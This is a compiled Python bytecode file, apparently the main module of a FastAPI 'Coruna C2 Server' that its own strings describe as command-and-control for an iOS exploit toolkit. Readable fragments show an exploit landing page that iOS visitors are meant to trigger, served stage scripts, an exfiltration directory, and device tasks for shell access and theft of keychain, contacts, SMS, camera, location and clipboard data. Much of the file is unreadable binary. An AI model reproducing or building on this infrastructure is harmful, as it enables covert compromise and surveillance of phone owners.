+
    -Xj                        R t ^ RIHtHtHtHt ^ RIHt ^ RIH	t	 ^ RI
Ht ^ RIHt ^ RIt^ RIHt ^ RIHtHt ^ R	IHt ^ R
IHtHtHtHtHtHtHt ]! 4       t]R R l4       t]! RRR]R7      t]PA                  ]R.RR.R.R7       ]PC                  ]PD                  4       ]PC                  ]PD                  4       ]PC                  ]PD                  4       ]PC                  ]PD                  4       ]PC                  ]PD                  4       ]PC                  ]PD                  4       ]P9                  R4      R R l4       t#]P9                  R4      R R l4       t$]! ]%4      PL                  PL                  t']'R,          R,          t(](PS                  4       '       d"   ]PU                  R]! ]+! ](4      R7      RR7       ]PX                  PS                  4       '       d,   ]PU                  R]! ]+! ]PX                  4      R7      R R7       ]'R!,          t-]-PS                  4       '       d"   ]PU                  R"]! ]+! ]-4      R7      R!R7       ]'R#,          t.].PS                  4       '       d"   ]PU                  R$]! ]+! ].4      R7      R#R7       ]'R%,          t/]/PS                  4       '       d"   ]PU                  R&]! ]+! ]/4      R7      R%R7       ]Pa                  R']	R(7      R) 4       t1]Pa                  R*]	R(7      R+ 4       t2]Pa                  R,4      R- 4       t3]Pa                  R.4      R/ 4       t4]Pa                  R04      R1 4       t5]Pa                  R24      R3 4       t6]Pa                  R44      R5 R6 l4       t7^ R7IH8t8 ^ R8IH9t9 ]Pu                  ]84      R9 R: l4       t;]Pu                  ]<4      R; R< l4       t=]>R=8X  d2   ^ RI?t?]?P                  ! R>]P                  ]P                  RR?R@7       R# R# )Au   FastAPI 主应用)FastAPIRequestDepends	WebSocket)StaticFiles)HTMLResponse)CORSMiddleware)asynccontextmanagerN)Path)engineBase)
get_config)devicestasksuploadpostexploitadmin	websocketpayloadsc                $    V ^8  d   QhR\         /# )   app)r   )formats   ">   /Users/wind/Downloads/Coruna-main学习资料A/backend/main.py__annotate__r      s           c                 "   \         P                  P                  \        R7       \        P
                  P                  RRR7       \        P                  P                  RRR7       \        P                  P                  RRR7       \        R4       \        R4       \        R\        P                   R\        P                   24       R5x  \        R	4       R# 5i)
u   应用生命周期管理)bindT)parentsexist_okz[OK] Database initializedz[OK] Directories createdz[OK] Server running on: http://:NzShutting down...)r   metadata
create_allr   config	EXFIL_DIRmkdirLOG_DIRPAYLOADS_DIRprintHOSTPORT)r   s   &r   lifespanr+      s      	MM&) 4$7
NN5
dT:	
%&	
$%	+FKK=&++
GH	 

s   CCCoruna C2 Serverz2Command and Control server for iOS exploit toolkit1.0.0)titledescriptionversionr+   *T)allow_originsallow_credentialsallow_methodsallow_headersz/ws/device/{device_uuid}c                0    V ^8  d   QhR\         R\        /# )r   r   device_uuid)r   str)r   s   "r   r   r   E   s     N Ny Ns Nr   c                B   "   ^ RI Hp V! WRR7      G Rj  xL
  R#  L5i)u   设备 WebSocket 连接端点websocket_endpointF)r7   r   Napi.websocketr;   )r   r7   r;   s   && r   websocket_device_endpointr>   D   s      1
Yu
MMM   z	/ws/adminc                $    V ^8  d   QhR\         /# )r   r   )r   )r   s   "r   r   r   L   s     4 4i 4r   c                B   "   ^ RI Hp V! V RR7      G Rj  xL
  R#  L5i)u    管理员 WebSocket 连接端点r:   T)r   Nr<   )r   r;   s   & r   websocket_admin_endpointrB   K   s      1
Yd
333r?   frontendstaticz/static)	directory)namez/exfilexfil
downloadedz/downloadedr   z	/payloadsotherz/other/)response_classc                    "   \         R,          R,          p V P                  4       '       d2   \        V RRR7      ;_uu_ 4       pVP                  4       uuRRR4       # R#   + '       g   i     R# ; i5i)u   根路径 - 返回管理面板rC   z
admin.htmlrutf-8encodingNa  
    <!DOCTYPE html>
    <html>
    <head>
        <title>Coruna C2 Server</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>Coruna C2 Server</h1>
        <p>Server is running. API documentation available at <a href="/docs">/docs</a></p>
        <p>WebSocket endpoints:</p>
        <ul>
            <li>Device: ws://host:port/ws/device/{device_uuid}</li>
            <li>Admin: ws://host:port/ws/admin</li>
        </ul>
    </body>
    </html>
    )project_rootexistsopenread)
admin_htmlfs     r   rootrW   r   sY      
*\9J*cG44668 54 54s   AA4A A4 A1	+	A4z/group.htmlc                    "   \         R,          p V P                  4       '       d2   \        V RRR7      ;_uu_ 4       pVP                  4       uuRRR4       # \	        RRR7      #   + '       g   i     L; i5i)	u9   漏洞利用页面 - iOS设备访问此页面触发漏洞z
group.htmlrM   rN   rO   Nz<h1>group.html not found</h1>  contentstatus_code)rQ   rR   rS   rT   r   )
group_htmlrV   s     r   
group_pager^      sX      ,J*cG44668 54 ?SQQ 54s   :A7A$A7$A4	/A7z/platform_module.jsc                   "   \         R,          p V P                  4       '       d@   \        V RRR7      ;_uu_ 4       pVP                  4       pRRR4       ^ RIHp V! XRR7      # X! R	R
R7      #   + '       g   i     L*; i5i)u   平台模块 JSzplatform_module.jsrM   rN   rO   NResponseapplication/javascriptr[   
media_type// Not foundrY   rZ   rQ   rR   rS   rT   fastapi.responsesra   module_filerV   r[   ra   s       r   platform_module_jsrj      sh      !55K+sW55ffhG 6.4LMMN<<	 65   :BA/"B/A?	:Bz/utility_module.jsc                   "   \         R,          p V P                  4       '       d@   \        V RRR7      ;_uu_ 4       pVP                  4       pRRR4       ^ RIHp V! XRR7      # X! R	R
R7      #   + '       g   i     L*; i5i)u   工具模块 JSzutility_module.jsrM   rN   rO   Nr`   rb   rc   re   rY   rZ   rf   rh   s       r   utility_module_jsrm      sh      !44K+sW55ffhG 6.4LMMN<<	 65rk   z/healthc                    "   RRRRRR/# 5i)u   健康检查端点statushealthyserverz	Coruna C2r0   r-    rr   r   r   health_checkrs      s       	)+7 s   	z	/api/infoc                 ^   "   RRRRR\         P                  R\         P                  R. RO/# 5i)	u   服务器信息rq   r,   r0   r-   supported_ios_versionsexploit_stages
task_types)shellr   download
screenshotkeychaincontactsmscameralocationapp_listprocess_list	wifi_scan	clipboard)r#   SUPPORTED_IOS_VERSIONSEXPLOIT_STAGESrr   r   r   server_infor      s:      	$7 &"?"?&// 

 
s   +-z/{filename}.jsc                $    V ^8  d   QhR\         /# )r   filename)r8   )r   s   "r   r   r      s     = =# =r   c                   "   ^ RI Hp \        V  R2,          pVP                  4       '       d:   \	        VRRR7      ;_uu_ 4       pVP                  4       pRRR4       V! XRR7      # \        R	,          V  R2,          pVP                  4       '       d:   \	        VRRR7      ;_uu_ 4       pVP                  4       pRRR4       V! XRR7      # V! R
RR7      #   + '       g   i     L; i  + '       g   i     L7; i5i)uQ   兜底路由 — 服务项目根目录下的所有 .js 文件（Stage1/2/3 等）r`   z.jsrM   rN   rO   Nrb   rc   rI   re   rY   rZ   )rg   ra   rQ   rR   rS   rT   )r   ra   js_filerV   r[   s   &    r   serve_root_jsr      s      +z--G~~'311QffhG 24LMMW$(3'77G~~'311QffhG 24LMMN<< 21 21s<   AC>C>C>C>+C+<C>C(	#C>+C;	6C>)HTTPException)JSONResponsec                0    V ^8  d   QhR\         R\        /# r   requestexc)r   r   )r   s   "r   r   r      s     	 	' 	 	r   c           	     l   "   \        VP                  RRRVP                  RVP                  /R7      # 5i)u   HTTP 异常处理errorTmessager\   r\   r[   )r   r\   detail)r   r   s   &&r   http_exception_handlerr      s7      OOTszz3??
 s   24c                0    V ^8  d   QhR\         R\        /# r   )r   	Exception)r   s   "r   r   r      s      W 9 r   c                   "   ^ RI p\        RV 24       \        VP                  4       4       \        RRRRRR\	        V4      /R	7      # 5i)
u   通用异常处理NzUnhandled exception: i  r   Tr   zInternal server errorr   r   )	tracebackr(   
format_excr   r8   )r   r   r   s   && r   general_exception_handlerr      sT      	!#
'(	)


 !T.c#h
 s   AA
__main__zbackend.main:appinfo)hostportreload	log_level)C__doc__fastapir   r   r   r   fastapi.staticfilesr   rg   r   fastapi.middleware.corsr   
contextlibr	   ospathlibr
   databaser   r   r#   r   apir   r   r   r   r   r   r   r+   r   add_middlewareinclude_routerrouterr>   rB   __file__parentrQ   
static_dirrR   mountr8   r$   downloaded_dirpayloads_dir	other_dirgetrW   r^   rj   rm   rs   r   r   r   r   exception_handlerr   r   r   __name__uvicornrunr)   r*   rr   r   r   <module>r      s    8 8 + * 2 * 	  !  O O O	  * 
D	   %%%     7>> "   5<<     6== !   ;%% &   5<<     8?? # )*N +N {4 4 H~$$++ J&1
IIis:?hIO 
IIhc&2B2B.CD7IS ,IIm[3~3FGlI[ j(IIk;\1BC*IU 7"	IIhc)n=GIL
 \* +6 |4R 5R 	=  = 	= =    " 	= =& " * }%	 &	 y! "  zKK[[[[ r   